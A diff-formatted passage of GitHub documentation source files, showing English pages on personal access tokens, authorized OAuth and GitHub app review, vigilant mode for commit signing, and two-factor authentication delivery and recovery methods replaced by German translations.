1. Under **Repository access**, select which repositories you want the token to access. You should choose the minimal repository access that meets your needs. Tokens always include read-only access to all public repositories on GitHub.
1. If you selected **Only select repositories** in the previous step, under the **Selected repositories** dropdown, select the repositories that you want the token to access.
1. Under **Permissions**, select which permissions to grant the token. Depending on which resource owner and which repository access you specified, there are repository, organization, and account permissions. You should choose the minimal permissions necessary for your needs. For more information about what permissions are required for each REST API operation, see "[Permissions required for {% data variables.product.pat_v2 %}s](/rest/overview/permissions-required-for-fine-grained-personal-access-tokens)."
1. Click **Generate token**.
{% ifversion fpt or ghec %}1. [Verifiziere deine E-Mail-Adresse](/github/getting-started-with-github/verifying-your-email-address), falls du das noch nicht getan hast.{% endif %} {% data reusables.user-settings.access_settings %} {% data reusables.user-settings.developer_settings %}
1. Klicke in der linken Randleiste unter **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}** auf **Differenzierte Token**.
1. Klicken Sie auf **Neues Token generieren**.
1. Gib optional unter **Tokenname** einen Namen für das Token ein.
1. Wählen unter **Ablauf** ein Ablaufdatum für das Token aus.
1. Füge optional unter **Beschreibung** eine Notiz hinzu, um den Zweck des Token zu beschreiben.
1. Wähle unter **Ressourcenbesitzer** eine*n Ressourcenbesitzer*in aus. Das Token kann nur auf Ressourcen zugreifen, die dem oder der ausgewählten Ressourcenbesitzer*in gehören. Organisationen, bei denen du Mitglied bist, werden nicht angezeigt, es sei denn, die Organisation hat {% data variables.product.pat_v2 %} aktiviert. Weitere Informationen findest du unter [Festlegen einer {% data variables.product.pat_generic %}-Richtlinie für deine Organisation](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization).{% ifversion ghec or ghae %} Möglicherweise ist ein SSO-Vorgang (Einmaliges Anmelden) erforderlich, wenn deine Organisation diesen vorschreibt und du noch keine aktive SAML-Sitzung hast.{% endif %}
1. Wenn der Ressourcenbesitzer eine Organisation ist, die eine Genehmigung für {% data variables.product.pat_v2 %} vorschreibt, gib optional im Feld unter „Ressourcenbesitzer“ eine Begründung für die Anforderung ein.
1. Wähle unter **Repositoryzugriff** die gewünschten Repositorys aus, auf die das Token zugreifen soll. Du solltest nur den mindestens erforderlichen Repositoryzugriff für deine Zwecke auswählen. Token haben immer schreibgeschützten Zugriff auf alle öffentlichen Repositorys auf GitHub.
1. Wenn du **Nur ausgewählte Repositorys** im vorherigen Schritt ausgewählt hast, wähle im Dropdownmenü **Ausgewählte Repositorys** die Repositorys aus, auf die du zugreifen möchtest.
1. Wähle unter **Berechtigungen** aus, welche Berechtigungen dem Token erteilt werden sollen. Je nachdem, welche*n Ressourcenbesitzer*in und welchen Repositoryzugriff du angegeben hast, gibt es Repository-, Organisations- und Kontoberechtigungen. Du solltest nur die mindestens erforderlichen Berechtigungen für deine Zwecke auswählen. Weitere Informationen dazu, welche Berechtigungen für die unterschiedlichen REST-API-Vorgänge erforderlich sind, findest du unter [Erforderliche Berechtigungen für {% data variables.product.pat_v2 %}](/rest/overview/permissions-required-for-fine-grained-personal-access-tokens).
1. Klicke dann auf **Token generieren**.
If you selected an organization as the resource owner and the organization requires approval for {% data variables.product.pat_v2 %}s, then your token will be marked as `pending` until it is reviewed by an organization administrator. Your token will only be able to read public resources until it is approved. If you are an owner of the organization, your request is automatically approved. For more information, see "[Reviewing and revoking {% data variables.product.pat_generic %}s in your organization](/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization)".
Wenn du eine Organisation als Ressourcenbesitzer ausgewählt hast und die Organisation eine Genehmigung für {% data variables.product.pat_v2 %} vorschreibt, wird dein Token bis zur Überprüfung durch eine*n Organisationsadministrator*in mit `pending` gekennzeichnet. Bis zur Genehmigung kann dein Token nur öffentliche Ressourcen lesen. Wenn du ein*e Inhaber*in der Organisation bist, wird deine Anforderung automatisch genehmigt. Weitere Informationen findest du unter [Überprüfen und Widerrufen von {% data variables.product.pat_generic %} in deiner Organisation](/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization).
{% endif %}
## Creating a {% data variables.product.pat_v1 %}
## Erstellen eines {% data variables.product.pat_v1 %}
{% ifversion pat-v2 %}
{% note %}
**Note**: Organization owners can restrict the access of {% data variables.product.pat_v1 %} to their organization. If you try to use a {% data variables.product.pat_v1 %} to access resources in an organization that has disabled {% data variables.product.pat_v1 %} access, your request will fail with a 403 response. Instead, you must use a {% data variables.product.prodname_github_app %}, {% data variables.product.prodname_oauth_app %}, or {% data variables.product.pat_v2 %}.
**Hinweis**: Organisationsinhaber*innen können den Zugriff auf {% data variables.product.pat_v1 %} auf ihre Organisation beschränken. Wenn du versuchst, ein {% data variables.product.pat_v1 %} für den Zugriff auf Ressourcen in einer Organisation zu verwenden, die den Zugriff mit {% data variables.product.pat_v1 %} deaktiviert hat, wird bei deiner Anforderung die Fehlermeldung 403 angezeigt. Du musst stattdessen eine {% data variables.product.prodname_github_app %}, {% data variables.product.prodname_oauth_app %} oder ein {% data variables.product.pat_v2 %} verwenden.
{% endnote %}
@ -100,48 +103,34 @@ If you selected an organization as the resource owner and the organization requi
{% warning %}
**Note**: Your {% data variables.product.pat_v1 %} can access every repository that you can access. {% data variables.product.company_short %} recommends that you use {% data variables.product.pat_v2 %}s instead, which you can restrict to specific repositories. {% data variables.product.pat_v2_caps %}s also enable you to specify fine-grained permissions instead of broad scopes.
**Hinweis**: Dein {% data variables.product.pat_v1 %} kann auf alle Repositorys zugreifen, auf die du Zugriff hast. {% data variables.product.company_short %} empfiehlt, stattdessen nach Möglichkeit {% data variables.product.pat_v2 %} zu verwenden. Diese können auf bestimmte Repositorys beschränkt werden. {% data variables.product.pat_v2_caps %} ermöglichen es dir auch, präzise Berechtigungen anstelle eines allgemeinen Spektrums anzugeben.
{% endwarning %}
{% endif %}
{% ifversion fpt or ghec %}1. [Verify your email address](/github/getting-started-with-github/verifying-your-email-address), if it hasn't been verified yet.{% endif %}
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.developer_settings %}
{% ifversion pat-v2 %}1. In the left sidebar, under **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s**, click **Tokens (classic)**.{% else %}{% data reusables.user-settings.personal_access_tokens %}{% endif %}
{% ifversion pat-v2%}1. Select **Generate new token**, then click **Generate new token (classic)**.{% else %}{% data reusables.user-settings.generate_new_token %}{% endif %}
5. Give your token a descriptive name.
![Token description field](/assets/images/help/settings/token_description.png)
6. To give your token an expiration, select the **Expiration** drop-down menu, then click a default or use the calendar picker.
![Token expiration field](/assets/images/help/settings/token_expiration.png)
7. Select the scopes you'd like to grant this token. To use your token to access repositories from the command line, select **repo**. A token with no assigned scopes can only access public information. For more information, see "[Available scopes](/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes)".
{% ifversion fpt or ghes or ghec %}
![Selecting token scopes](/assets/images/help/settings/token_scopes.gif)
{% elsif ghae %}
![Selecting token scopes](/assets/images/enterprise/github-ae/settings/access-token-scopes-for-ghae.png)
{% endif %}
8. Click **Generate token**.
![Generate token button](/assets/images/help/settings/generate_token.png)
{% ifversion fpt or ghec %}
![Newly created token](/assets/images/help/settings/personal_access_tokens.png)
{% elsif ghes or ghae %}
![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe.png)
{% else %}
![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe_legacy.png){% endif %}{% ifversion fpt or ghec %}
1. To use your token to access resources owned by an organization that uses SAML single sign-on, authorize the token. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
{% ifversion fpt or ghec %}1. [Verifiziere deine E-Mail-Adresse](/github/getting-started-with-github/verifying-your-email-address), falls du das noch nicht getan hast.{% endif %} {% data reusables.user-settings.access_settings %} {% data reusables.user-settings.developer_settings %} {% ifversion pat-v2 %}1. Klicke in der linken Randleiste unter **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}** auf **Token (klassisch)** .{% else %}{% data reusables.user-settings.personal_access_tokens %}{% endif %} {% ifversion pat-v2%}1. Wähle **Neues Token generieren** aus, und klicke dann auf **Neues Token generieren (klassisch)** .{% else %}{% data reusables.user-settings.generate_new_token %}{% endif %}
5. Gib dem Token einen beschreibenden Namen.
![Feld „Tokenbeschreibung“](/assets/images/help/settings/token_description.png)
6. Wenn du für dein Token eine Ablaufzeit festlegen möchtest, wähle das Dropdownmenü **Ablauf** aus, und klicke dann auf eine Standardeinstellung, oder verwende die Kalenderauswahl.
![Feld „Tokenablauf“](/assets/images/help/settings/token_expiration.png)
7. Wähle die Berechtigungen aus, die du diesem Token erteilen möchtest. Um das Token für den Zugriff auf Repositorys über die Befehlszeile zu verwenden, wähle **Repository** aus. Ein Token ohne zugewiesene Bereiche kann nur auf öffentliche Informationen zugreifen. Weitere Informationen findest du unter [Verfügbare Bereiche](/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes).
{% ifversion fpt or ghes or ghec %} ![Auswählen von Tokenbereichen](/assets/images/help/settings/token_scopes.gif) {% elsif ghae %} ![Auswählen von Tokenbereichen](/assets/images/enterprise/github-ae/settings/access-token-scopes-for-ghae.png) {% endif %}
8. Klicke dann auf **Token generieren**.
![Schaltfläche „Token generieren“](/assets/images/help/settings/generate_token.png) {% ifversion fpt or ghec %} ![Neu erstelltes Token](/assets/images/help/settings/personal_access_tokens.png) {% elsif ghes or ghae %} ![Neu erstelltes Token](/assets/images/help/settings/personal_access_tokens_ghe.png) {% else %} ![Neu erstelltes Token](/assets/images/help/settings/personal_access_tokens_ghe_legacy.png){% endif %}{% ifversion fpt or ghec %}
1. Um dein Token für den Zugriff auf Ressourcen im Besitz einer Organisation zu verwenden, die SAML Single Sign-On nutzt, autorisiere das Token. Weitere Informationen findest du unter [Autorisieren eines {% data variables.product.pat_generic %} für die Verwendung mit SAML Single Sign-On](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %} in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation.{% else %}.{% endif %}{% endif %}
## Using a token on the command line
## Ein Token in der Befehlszeile verwenden
{% data reusables.command_line.providing-token-as-password %}
{% data variables.product.pat_generic_caps %}s can only be used for HTTPS Git operations. If your repository uses an SSH remote URL, you will need to [switch the remote from SSH to HTTPS](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-ssh-to-https).
{% data variables.product.pat_generic_caps %} können nur für Git-Vorgänge mit HTTPS verwendet werden. Wenn dein Repository eine SSH-Remote-URL verwendet, musst du [das Remoterepository von SSH auf HTTPS umstellen](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-ssh-to-https).
If you are not prompted for your username and password, your credentials may be cached on your computer. You can [update your credentials in the Keychain](/github/getting-started-with-github/updating-credentials-from-the-macos-keychain) to replace your old password with the token.
Wenn du nicht nach einem Benutzernamen und einem Passwort gefragt wirst, wurden deine Anmeldeinformationen möglicherweise auf deinem Computer zwischengespeichert. Du kannst [deine Anmeldeinformationen in der Keychain aktualisieren](/github/getting-started-with-github/updating-credentials-from-the-macos-keychain), um das alte Kennwort durch das Token zu ersetzen.
Instead of manually entering your {% data variables.product.pat_generic %} for every HTTPS Git operation, you can cache your {% data variables.product.pat_generic %} with a Git client. Git will temporarily store your credentials in memory until an expiry interval has passed. You can also store the token in a plain text file that Git can read before every request. For more information, see "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
Statt dein {% data variables.product.pat_generic %} manuell bei jedem Git-Vorgang mit HTTPS einzugeben, kannst du dein {% data variables.product.pat_generic %} bei einem Git-Client zwischenspeichern. Git speichert deine Anmeldeinformationen vorübergehend im Arbeitsspeicher, bis ein Ablaufintervall abgelaufen ist. Du kannst das Token auch in einer Nur-Textdatei speichern, die Git vor jeder Anforderung lesen kann. Weitere Informationen findest du unter [Zwischenspeichern deiner {% data variables.product.prodname_dotcom %}-Anmeldeinformationen in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git).
## Further reading
## Weitere Informationsquellen
- "[About authentication to GitHub](/github/authenticating-to-github/about-authentication-to-github)"
- "[Token expiration and revocation](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"
- [Informationen zur Authentifizierung für GitHub](/github/authenticating-to-github/about-authentication-to-github)
- [Tokenablauf und -widerruf](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Reviewing your authorized applications (OAuth)
intro: 'You should review your authorized applications to verify that no new applications with expansive permissions are authorized, such as those that have access to your private repositories.'
title: Autorisierte Anwendungen (OAuth) überprüfen
intro: 'Du solltest Deine autorisierten Anwendungen überprüfen, um sicherzustellen, dass keine neuen Anwendungen mit umfassenden Berechtigungen autorisiert sind, wie beispielsweise diejenigen, die Zugriff auf Deine privaten Repositorys haben.'
redirect_from:
- /articles/reviewing-your-authorized-applications-oauth
- /github/authenticating-to-github/reviewing-your-authorized-applications-oauth
@ -14,13 +14,16 @@ topics:
- Identity
- Access management
shortTitle: Review OAuth apps
ms.openlocfilehash: fbc35fdca9ab64bf97224911d9adff560ba62eab
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/05/2022
ms.locfileid: '145086024'
---
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.access_applications %}
{% data reusables.user-settings.access_authorized_oauth_apps %}
{% data reusables.user-settings.review-oauth-apps %}
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.access_applications %} {% data reusables.user-settings.access_authorized_oauth_apps %} {% data reusables.user-settings.review-oauth-apps %}
## Further reading
## Weiterführende Themen
{% ifversion fpt or ghec %}
- "[About integrations](/articles/about-integrations)"{% endif %}
- "[Reviewing your authorized integrations](/articles/reviewing-your-authorized-integrations)"
- „[Informationen zu Integrationen](/articles/about-integrations)“{% endif %}
- „[Überprüfung deiner autorisierten Integrationen](/articles/reviewing-your-authorized-integrations)“

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Reviewing your authorized integrations
intro: You can review your authorized integrations to audit the access that each integration has to your account and data.
title: Autorisierte Integrationen überprüfen
intro: 'Du kannst deine autorisierten Integrationen überprüfen, um den Zugriff der einzelnen Integrationen auf dein Konto und deine Daten zu prüfen.'
redirect_from:
- /articles/reviewing-your-authorized-integrations
- /github/authenticating-to-github/reviewing-your-authorized-integrations
@ -14,24 +14,25 @@ topics:
- Identity
- Access management
shortTitle: Authorized integrations
ms.openlocfilehash: ec67e7b18b4ad898cd53b4773b299d90bc3dc9e5
ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/11/2022
ms.locfileid: '145086016'
---
## Reviewing your authorized {% data variables.product.prodname_oauth_apps %}
## Überprüfen deiner autorisierten {% data variables.product.prodname_oauth_apps %}
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.access_applications %}
{% data reusables.user-settings.access_authorized_oauth_apps %}
{% data reusables.user-settings.review-oauth-apps %}
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.access_applications %} {% data reusables.user-settings.access_authorized_oauth_apps %} {% data reusables.user-settings.review-oauth-apps %}
## Reviewing your authorized {% data variables.product.prodname_github_apps %}
## Überprüfen deiner autorisierten {% data variables.product.prodname_github_apps %}
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.access_applications %}
3. Click the **Authorized {% data variables.product.prodname_github_apps %}** tab.
![Authorized {% data variables.product.prodname_github_apps %} tab](/assets/images/help/settings/settings-authorized-github-apps-tab.png)
3. Review the {% data variables.product.prodname_github_apps %} that have access to your account. For those that you don't recognize or that are out of date, click **Revoke**. To revoke all {% data variables.product.prodname_github_apps %}, click **Revoke all**.
![List of authorized {% data variables.product.prodname_github_app %}](/assets/images/help/settings/revoke-github-app.png)
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.access_applications %}
3. Klicke auf die Registerkarte **Autorisierte {% data variables.product.prodname_github_apps %}**. ![Registerkarte „Autorisierte {% data variables.product.prodname_github_apps %}“](/assets/images/help/settings/settings-authorized-github-apps-tab.png)
3. Überprüfe die {% data variables.product.prodname_github_apps %}, die Zugriff auf dein Konto haben. Bei denjenigen, die du nicht kennst oder die nicht mehr aktuell sind, klicke auf **Löschen**. Wenn du alle {% data variables.product.prodname_github_apps %} widerrufen möchtest, klicke auf **Alle widerrufen**.
![Liste der autorisierten {% data variables.product.prodname_github_app %}](/assets/images/help/settings/revoke-github-app.png)
## Further reading
## Weitere Informationsquellen
{% ifversion fpt or ghec %}
- "[About integrations](/articles/about-integrations)"{% endif %}
- "[Reviewing your authorized applications (OAuth)](/articles/reviewing-your-authorized-applications-oauth)"
- „[Informationen zu Integrationen](/articles/about-integrations)“{% endif %}
- [Überprüfen deiner autorisierten Anwendungen (OAuth)](/articles/reviewing-your-authorized-applications-oauth)

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Displaying verification statuses for all of your commits
title: Anzeigen von Überprüfungsstatus für alle deine Commits
shortTitle: Displaying verification for all commits
intro: You can enable vigilant mode for commit signature verification to mark all of your commits and tags with a signature verification status.
intro: 'Du kannst den wachsamen Modus für die Überprüfung der Commitsignatur aktivieren, um alle deine Commits und Tags mit einem Signaturüberprüfungsstatus zu kennzeichnen.'
versions:
fpt: '*'
ghec: '*'
@ -12,30 +12,34 @@ topics:
redirect_from:
- /github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits
- /github/authenticating-to-github/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits
ms.openlocfilehash: ce306b1275b2da8d7ad985ed0c696659798723c0
ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/09/2022
ms.locfileid: '147653346'
---
{% data reusables.identity-and-permissions.vigilant-mode-beta-note %}
## About vigilant mode
## Informationen zum wachsamen Modus
When you work locally on your computer, Git allows you to set the author of your changes and the identity of the committer. This, potentially, makes it difficult for other people to be confident that commits and tags you create were actually created by you. To help solve this problem you can sign your commits and tags. For more information, see "[Signing commits](/github/authenticating-to-github/signing-commits)" and "[Signing tags](/github/authenticating-to-github/signing-tags)." {% data variables.product.prodname_dotcom %} marks signed commits and tags with a verification status.
Wenn du lokal auf deinem Computer arbeitest, kannst du mit Git den Autor deiner Änderungen und die Identität des Committers festlegen. Dies macht es möglicherweise anderen Personen schwierig, sicher sein zu können, dass Commits und Tags, die du erstellst, tatsächlich von dir erstellt wurden. Um dabei zu helfen, dieses Problem zu beheben, kannst du deine Commits und Tags signieren. Weitere Informationen findest du unter [Signieren von Commits](/github/authenticating-to-github/signing-commits) und [Signatur-Tags](/github/authenticating-to-github/signing-tags). {% data variables.product.prodname_dotcom %} markiert signierte Commits und Tags mit einem Überprüfungsstatus.
By default commits and tags are marked "Verified" if they are signed with a GPG{% ifversion ssh-commit-verification %}, SSH,{% endif %} or S/MIME key that was successfully verified. If a commit or tag has a signature that can't be verified by {% data variables.product.prodname_dotcom %}, we mark the commit or tag "Unverified." In all other cases no verification status is displayed.
Standardmäßig werden Commits und Tags als „Überprüft“ markiert, wenn sie mit einem GPG-{% ifversion ssh-commit-verification %}, SSH-{% endif %} oder S/MIME-Schlüssel signiert sind, der erfolgreich überprüft wurde. Wenn ein Commit oder Tag eine Signatur aufweist, die nicht überprüft werden kann {% data variables.product.prodname_dotcom %}, wird der Commit oder Tag als „Nicht überprüft“ gekennzeichnet. In allen anderen Fällen wird kein Überprüfungsstatus angezeigt.
However, you can give other users increased confidence in the identity attributed to your commits and tags by enabling vigilant mode in your {% data variables.product.prodname_dotcom %} settings. With vigilant mode enabled, all of your commits and tags are marked with one of three verification statuses.
Du kannst anderen Benutzern jedoch erhöhtes Vertrauen in die Identität geben, die deinen Commits und Tags zugeordnet ist, indem du den wachsamen Modus in deinen {% data variables.product.prodname_dotcom %}-Einstellungen aktivierst. Wenn der wachsame Modus aktiviert ist, werden alle deine Commits und Tags mit einem von drei Überprüfungsstatus gekennzeichnet.
![Signature verification statuses](/assets/images/help/commits/signature-verification-statuses.png)
![Überprüfungsstatus der Signatur](/assets/images/help/commits/signature-verification-statuses.png)
{% data reusables.identity-and-permissions.vigilant-mode-verification-statuses %}
You should only enable vigilant mode if you sign all of your commits and tags and use an email address that is verified for your account on {% data variables.product.product_name %} as your committer email address. After enabling this mode, any unsigned commits or tags that you generate locally and push to {% data variables.product.prodname_dotcom %} will be marked "Unverified."
Du solltest nur den wachsamen Modus aktivieren, wenn du alle Commits und Tags signierst und eine E-Mail-Adresse verwendest, die für dein Konto auf {% data variables.product.product_name %} als Committer-E-Mail-Adresse überprüft wird. Nachdem du diesen Modus aktiviert hast, werden alle nicht signierten Commits oder Tags, die du lokal generiert und an {% data variables.product.prodname_dotcom %} übergeben hast, als „Nicht überprüft" markiert.
{% data reusables.identity-and-permissions.verification-status-check %}
## Enabling vigilant mode
## Aktivieren des wachsamen Modus
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.ssh %}
3. On the SSH Settings page, under "Vigilant mode," select **Flag unsigned commits as unverified**.
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %}
3. Wähle auf der Seite „SSH-Einstellungen“ unter „Wachsamer Modus“ **Nicht signierte Commits als nicht bestätigt kennzeichnen** aus.
![Flag unsigned commits as unverified checkbox](/assets/images/help/commits/vigilant-mode-checkbox.png)
![Kontrollkästchen: Nicht signierte Commits als nicht bestätigt kennzeichnen](/assets/images/help/commits/vigilant-mode-checkbox.png)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Changing two-factor authentication delivery methods for your mobile device
intro: You can switch between receiving authentication codes through a text message or a mobile application.
title: Die Auslieferungsmethode für die Zwei-Faktor-Authentifizierung für Ihr Mobilgerät ändern
intro: Du kannst Authentifizierungscodes wahlweise über eine Textnachricht oder eine mobile Anwendung erhalten.
redirect_from:
- /articles/changing-two-factor-authentication-delivery-methods
- /articles/changing-two-factor-authentication-delivery-methods-for-your-mobile-device
@ -12,24 +12,29 @@ versions:
topics:
- 2FA
shortTitle: Change 2FA delivery method
ms.openlocfilehash: 90f06f6e3a8b3c5614b78d7aee4055d903df2e80
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/10/2022
ms.locfileid: '145085944'
---
{% note %}
**Note:** Changing your primary method for two-factor authentication invalidates your current two-factor authentication setup, including your recovery codes. Keep your new set of recovery codes safe. Changing your primary method for two-factor authentication does not affect your fallback SMS configuration, if configured. For more information, see "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#setting-a-fallback-authentication-number)."
**Hinweis:** Wenn du deine primäre Methode für die zweistufige Authentifizierung änderst, wird dein aktuelles Setup für die zweistufige Authentifizierung einschließlich deiner Wiederherstellungscodes ungültig. Bewahre deine neuen Wiederherstellungscodes an einem sicheren Ort auf. Das Ändern der primären Methode für die zweistufige Authentifizierung wirkt sich nicht auf deine SMS-Ausweichkonfiguration aus (sofern konfiguriert). Weitere Informationen findest du unter [Wiederherstellungsmethoden bei der Zwei-Faktor-Authentifizierung konfigurieren](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#setting-a-fallback-authentication-number).
{% endnote %}
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.security %}
3. Next to "Primary two-factor method", click **Change**.
![Edit primary delivery options](/assets/images/help/2fa/edit-primary-delivery-option.png)
4. Under "Delivery options", click **Reconfigure two-factor authentication**.
![Switching your 2FA delivery options](/assets/images/help/2fa/2fa-switching-methods.png)
5. Decide whether to set up two-factor authentication using a TOTP mobile app or text message. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
- To set up two-factor authentication using a TOTP mobile app, click **Set up using an app**.
- To set up two-factor authentication using text message (SMS), click **Set up using SMS**.
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security %}
3. Klicke neben „Primäre zweistufige Methode“ auf **Ändern**.
![Bearbeiten der primären Übermittlungsoptionen](/assets/images/help/2fa/edit-primary-delivery-option.png)
4. Klicke unter „Übermittlungsoptionen“ auf **Zweistufige Authentifizierung neu konfigurieren**.
![Umstellen deiner Übermittlungsoptionen für die zweistufige Authentifizierung](/assets/images/help/2fa/2fa-switching-methods.png)
5. Lege fest, ob Du die Zwei-Faktor-Authentifizierung mit einer TOTP-Mobile-App oder einer Textnachricht einrichten möchtest. Weitere Informationen findest du unter [Konfigurieren der zweistufigen Authentifizierung](/articles/configuring-two-factor-authentication).
- Wenn du die zweistufige Authentifizierung mit einer mobilen TOTP-App einrichten möchtest, klicke auf **Mit einer App einrichten**.
- Wenn du die zweistufige Authentifizierung mit Textnachrichten (SMS) einrichten möchtest, klicke auf **Mit SMS einrichten**.
## Further reading
## Weiterführende Themen
- "[About two-factor authentication](/articles/about-two-factor-authentication)"
- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
- [Informationen zur zweistufigen Authentifizierung](/articles/about-two-factor-authentication)
- [Konfigurieren der Wiederherstellungsmethoden bei der Zwei-Faktor-Authentifizierung](/articles/configuring-two-factor-authentication-recovery-methods)

Просмотреть файл

@ -1,6 +1,6 @@
---
title: Configuring two-factor authentication recovery methods
intro: You can set up a variety of recovery methods to access your account if you lose your two-factor authentication credentials.
title: Wiederherstellungsmethoden bei der Zwei-Faktor-Authentifizierung konfigurieren
intro: 'Du kannst verschiedene Wiederherstellungsmethoden einrichten, um auf dein Konto zuzugreifen, wenn du Deine Anmeldeinformation für die Zwei-Faktor-Authentifizierung verloren hast.'
redirect_from:
- /articles/downloading-your-two-factor-authentication-recovery-codes
- /articles/setting-a-fallback-authentication-number
@ -17,74 +17,75 @@ versions:
topics:
- 2FA
shortTitle: Configure 2FA recovery
ms.openlocfilehash: a16f8dda2f834beb4c4a1634fae812b18a8730a3
ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/11/2022
ms.locfileid: '145085932'
---
In addition to securely storing your two-factor authentication recovery codes, we strongly recommend configuring one or more additional recovery methods.
Neben der sicheren Speicherung Deiner Wiederherstellungscodes für die Zwei-Faktor-Authentifizierung (2FA) empfehlen wir außerdem dringend, mindestens eine zusätzliche Wiederherstellungsmethode zu konfigurieren.
## Downloading your two-factor authentication recovery codes
## Wiederherstellungscode für die Zwei-Faktor-Authentifizierung herunterladen
{% data reusables.two_fa.about-recovery-codes %} You can also download your recovery codes at any point after enabling two-factor authentication.
{% data reusables.two_fa.about-recovery-codes %} Du kannst nach der Aktivierung der Zwei-Faktor-Authentifizierung deine Wiederherstellungscodes auch jederzeit herunterladen.
To keep your account secure, don't share or distribute your recovery codes. We recommend saving them with a secure password manager, such as:
Um Dein Konto zu schützen, solltest Du diese Wiederherstellungscode nicht öffentlich machen und nicht weitergeben. Wir empfehlen, die Codes mit einem sicheren Passwort-Manager zu speichern, beispielsweise mit:
- [1Password](https://1password.com/)
- [LastPass](https://lastpass.com/)
If you generate new recovery codes or disable and re-enable 2FA, the recovery codes in your security settings automatically update.
Wenn Du neue Wiederherstellungscodes erzeugst oder die 2FA deaktivierst und erneut aktivierst, werden die Wiederherstellungscodes in Deinen Sicherheitseinstellungen automatisch aktualisiert.
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.security %}
{% data reusables.two_fa.show-recovery-codes %}
4. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access.
- To save your recovery codes on your device, click **Download**.
- To save a hard copy of your recovery codes, click **Print**.
- To copy your recovery codes for storage in a password manager, click **Copy**.
![List of recovery codes with option to download, print, or copy the codes](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.security %} {% data reusables.two_fa.show-recovery-codes %}
4. Speichere deine Wiederherstellungscodes an einem sicheren Ort. Mit deinen Wiederherstellungscodes kannst du wieder auf dein Konto zugreifen, wenn du den Zugriff darauf verlierst.
- Um deine Wiederherstellungscodes auf deinem Gerät zu speichern, klicke auf **Download**.
- Wenn du einen Ausdruck deines Wiederherstellungscodes speichern möchtest, klicke auf **Drucken**.
- Wenn du deine Wiederherstellungscodes zur Speicherung in einem Passwortmanager kopieren möchtest, klicke auf **Kopieren**.
![Liste der Wiederherstellungscodes mit der Option, die Codes herunterzuladen, zu drucken oder zu kopieren](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png)
## Generating a new set of recovery codes
## Einen neuen Satz an Wiederherstellungscodes erzeugen
Once you use a recovery code to regain access to your account, it cannot be reused. If you've used all 16 recovery codes, you can generate another list of codes. Generating a new set of recovery codes will invalidate any codes you previously generated.
Wenn Du einen Wiederherstellungscode genutzt hast, um wieder Zugriff auf Dein Konto zu erhalten, kannst Du diesen Code nicht mehr verwenden. Wenn Du alle 16 Wiederherstellungscodes aufgebraucht hast, kannst Du eine neue Liste mit Codes erzeugen. Durch das Erstellen einer neuen Liste mit Wiederherstellungscodes werden alle zuvor erzeugten Codes ungültig.
{% data reusables.user-settings.access_settings %}
{% data reusables.user-settings.security %}
